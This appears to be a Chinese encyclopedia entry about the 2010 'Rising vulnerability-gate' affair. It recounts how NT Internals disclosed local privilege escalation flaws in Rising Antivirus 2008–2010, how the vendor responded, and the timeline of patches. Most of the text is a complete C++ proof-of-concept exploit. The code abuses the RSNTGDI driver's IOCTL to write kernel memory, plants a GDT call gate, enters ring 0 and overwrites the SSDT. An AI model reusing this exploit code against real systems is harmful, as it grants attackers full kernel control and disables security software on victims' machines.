瑞星漏洞門事件

2010年2月1日最新訊息,波蘭安全組織NT Internals官網近日再次發文,確認瑞星官網下載的瑞星2010版仍然存在“本地提權”漏洞。並聲稱他“從瑞星2010版上又找到了一個新漏洞“。這個事件被稱為瑞星漏洞門事件。

基本介紹

  • 中文名:瑞星漏洞門事件
  • 時間:2010年2月1日
  • 發文組織:波蘭安全組織NT Internals官網
  • 問題版本:瑞星官網下載的瑞星2010版
瑞星漏洞測試及研究C++原始碼,瑞星漏洞被國外組織曝光,瑞星第三個漏洞曝光,瑞星漏洞門事件回放,

瑞星漏洞測試及研究C++原始碼

#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
&ColorBuffer ,
sizeof(ULONG),
&btr ,
0
);
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&ColorValue ,
sizeof(ULONG),
Address ,
sizeof(ULONG),
&btr ,
0
);
return ;
}
void AddCallGate()
{
ULONG Gdt_Addr;
ULONG CallGateData[0x4];
ULONG Icount;
__asm
{
push edx
sgdt [esp-2]
pop edx
mov Gdt_Addr , edx
}
__asm
{
push 0xc3
push Gdt_Addr
call WriteKVM
mov eax,Gdt_Addr
mov word ptr[CallGateData],ax
shr eax,16
mov word ptr[CallGateData+6],ax
mov dword ptr[CallGateData+2],0x0ec0003e8
mov dword ptr[CallGateData+8],0x0000ffff
mov dword ptr[CallGateData+12],0x00cf9a00
xor eax,eax
LoopWrite:
mov edi,dword ptr CallGateData[eax]
push edi
mov edi,Gdt_Addr
add edi,0x3e0
add edi,eax
push edi
mov Icount,eax
call WriteKVM
mov eax,Icount
add eax , 0x4
cmp eax,0x10
jnz LoopWrite
}
return ;
}
void IntoR0(PVOID function)
{
WORD Callgt[3];
Callgt[0] = 0;
Callgt[1] = 0;
Callgt[2] = 0x3e3;
__asm
{
call fword ptr[Callgt]
mov eax,esp
mov esp,[esp+4]
push eax
call function
pop esp
push offset ring3Ret
retf
ring3Ret:
nop
}
return ;
}
#pragma pack(1)
typedef struct _IDTR
{
SHORT IDTLimit;
UINT IDTBase;
}IDTR,
*PIDTR,
**PPIDTR;
#pragma pack()
ULONG g_RealSSDT = 0 ;
ULONG ServiceNum = 0 ;
ULONG OrgService [0x1000] ;
ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)
{
ULONG Offset = Rva, Limit;
IMAGE_SECTION_HEADER *Img;
WORD i;
Img = IMAGE_FIRST_SECTION(NT);
if (Rva < Img->PointerToRawData)
return Rva;
for (i = 0; i < NT->FileHeader.NumberOfSections; i++)
{
if (Img[i].SizeOfRawData)
Limit = Img[i].SizeOfRawData;
else
Limit = Img[i].Misc.VirtualSize;
if (Rva >= Img[i].VirtualAddress &&
Rva < (Img[i].VirtualAddress + Limit))
{
if (Img[i].PointerToRawData != 0)
{
Offset -= Img[i].VirtualAddress;
Offset += Img[i].PointerToRawData;
}
return Offset;
}
}
return 0;
}
#define ibaseDD *(PDWORD)&ibase
DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)
{
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
return TRUE;
}
typedef struct {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)
{
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {
bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT)
{
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)
{
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
*ImageBase = poh->ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&pbr+=pbr->SizeOfBlock;
}
}
return 0;
}
DWORD CR0Reg ;
ULONG realssdt ;
void InKerneProc()
{
__asm
{
cli
mov eax, cr0
mov CR0Reg,eax
and eax,0xFFFEFFFF
mov cr0, eax
}
int i;
for (i = 0; i < (int)ServiceNum; i++)
{
*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService[i];
}
__asm
{
mov eax, CR0Reg
mov cr0, eax
sti
}
}
int main(int argc, char* argv[])
{
printf("Rising AntiVirus 2008 ~ 2010 \n"
"Local Privilege Escalation Vulnerability Proof Of Concept Exploit\n 2010-1-27\n");
g_RsGdiHandle = CreateFile("\\\\.\\RSNTGDI" ,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE ,
0,
OPEN_EXISTING , 0 , 0 );
if (g_RsGdiHandle == INVALID_HANDLE_VALUE)
{
return 0 ;
}
SYSTEM_MODULE_INFORMATION ModuleInfo ;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");
ULONG infosize = sizeof(ModuleInfo);
__asm
{
push 0
push infosize
lea eax , ModuleInfo
push eax
push 11
call pNtQuerySystemInformation
}
HMODULE KernelHandle ;
LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);
// Load the kernel image specified
KernelHandle = LoadLibrary(ntosname);
if (KernelHandle == 0 )
{
return 0 ;
}
ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");
if (KeSSDT == 0 )
{
return 0 ;
}
ULONG ImageBase = 0 ;
ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);
if (KiSSDT == 0 )
{
return 0 ;
}
KiSSDT += (ULONG)KernelHandle;
ServiceNum = 0x11c ;
ULONG i ;
for (i = 0 ; i < ServiceNum ; i ++)
{
OrgService[i] = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;
}
realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;
SetThreadAffinityMask(GetCurrentThread () , 0 ) ;
AddCallGate();
IntoR0(InKerneProc);
return 0;
}

瑞星漏洞被國外組織曝光

2010年初,波蘭一家安全組織NT Internals發表申明說:瑞星防毒軟體長期存在兩個本地提權0day安全漏洞,使木馬病毒能輕易獲得瑞星用戶的系統控制權。瑞星防毒的這兩個漏洞涉及瑞星防毒軟體2008、2009、2010等主要版本,而且利用方式簡單、穩定,能使黑客在攻擊瑞星用戶時獲得系統最高許可權。

瑞星第三個漏洞曝光

2010年1月29日,該網站最新發布了一篇題為《瑞星防毒軟體2008/2009/2010是否還有漏洞?》的文章。作者Alex在文中再度確認,他29日從瑞星中文官網下載的瑞星2010版仍然存在“本地提權”漏洞。作為證據,他此次乾脆公開了該漏洞的部分利用代碼。在文章最後,Alex聲稱他正在“寫另一個新的安全建議”,因為他“從瑞星防毒2010中發現了另外一個漏洞”。
一周前,波蘭安全組織NT Internals披露了瑞星防毒軟體存在的兩個“本地提權”0day漏洞,並稱通報給瑞星近一年後,瑞星僅“部分修復”了第一個漏洞,第二個漏洞則“完全沒有修復”。南京大學計算機系軟體小組和360公司都驗證了這一漏洞真實存在,並且利用方式非常簡單,可以使黑客獲得系統最高許可權,讓用戶電腦以及政府機構和企業的區域網路完全喪失防禦能力。隨後360向用戶緊急提供了針對該漏洞的臨時補丁。
但瑞星公司先後兩次發表聲明稱,早在2009年5月就“徹底修復了兩個漏洞”,竭力弱化“本地提權”漏洞的危害性,並用“國際知名公司產品的數十個同類漏洞從未被實際利用過”這一理由為自己的行為辯護。
針對瑞星殺軟漏洞的攻擊代碼已經在國內外權威漏洞庫、安全網站、論壇大量流傳,相應的木馬樣本也已現身黑客論壇。經多家論壇測試,在不使用360臨時補丁的情況下,漏洞攻擊代碼可輕鬆破壞瑞星用戶上所有安全軟體的保護。
另據瑞星官方論壇及多家網路安全論壇網友反饋,瑞星防毒軟體自1月29日夜間開始大規模升級部分驅動檔案,而且正是存在“本地提權”漏洞的檔案。截止發稿前,瑞星並沒有公開說明此次升級是否與修復漏洞有關。

瑞星漏洞門事件回放

1、2008年9月,波蘭安全組織NT Internals發現瑞星防毒軟體中存在一個“本地提權”0day漏洞,並秘密報告瑞星公司;
2、2009年4月,NT Internals發現瑞星防毒軟體中存在第二個“本地提權”0day漏洞,並秘密報告瑞星公司;
3、2010年1月23日,瑞星一直未能修復兩個漏洞,NT Internals將漏洞信息在其官網曝光; 2010年1月28日,瑞星發表聲明稱“早在2009年5月就對兩個漏洞進行了徹底修復”;
4、2010年1月28日,南京大學計算機系軟體小組經驗證認為瑞星仍存在漏洞;相關連結:
5、2010年1月29日,360安全中心發布瑞星漏洞臨時補丁;
6、2010年1月29日,瑞星再發聲明承認產品存在漏洞,但同時認為“瑞星用戶在上網時不會受到這種漏洞影響,在實際套用中極難被利用來進行遠程攻擊”。而此時,網上針對瑞星漏洞的攻擊代碼已大量流傳。
7、2010年1月29日,波蘭安全組織NT Internals發公告《瑞星防毒軟體2008/2009/2010是否還有漏洞?》,再度確認28日從瑞星中文官網下載的瑞星2010最新版仍存在同一漏洞。同時公布了部分利用代碼RsNTGdi_Exp.zip,並稱“從瑞星2010版上又找到了一個新漏洞。”

相關詞條

熱門詞條

聯絡我們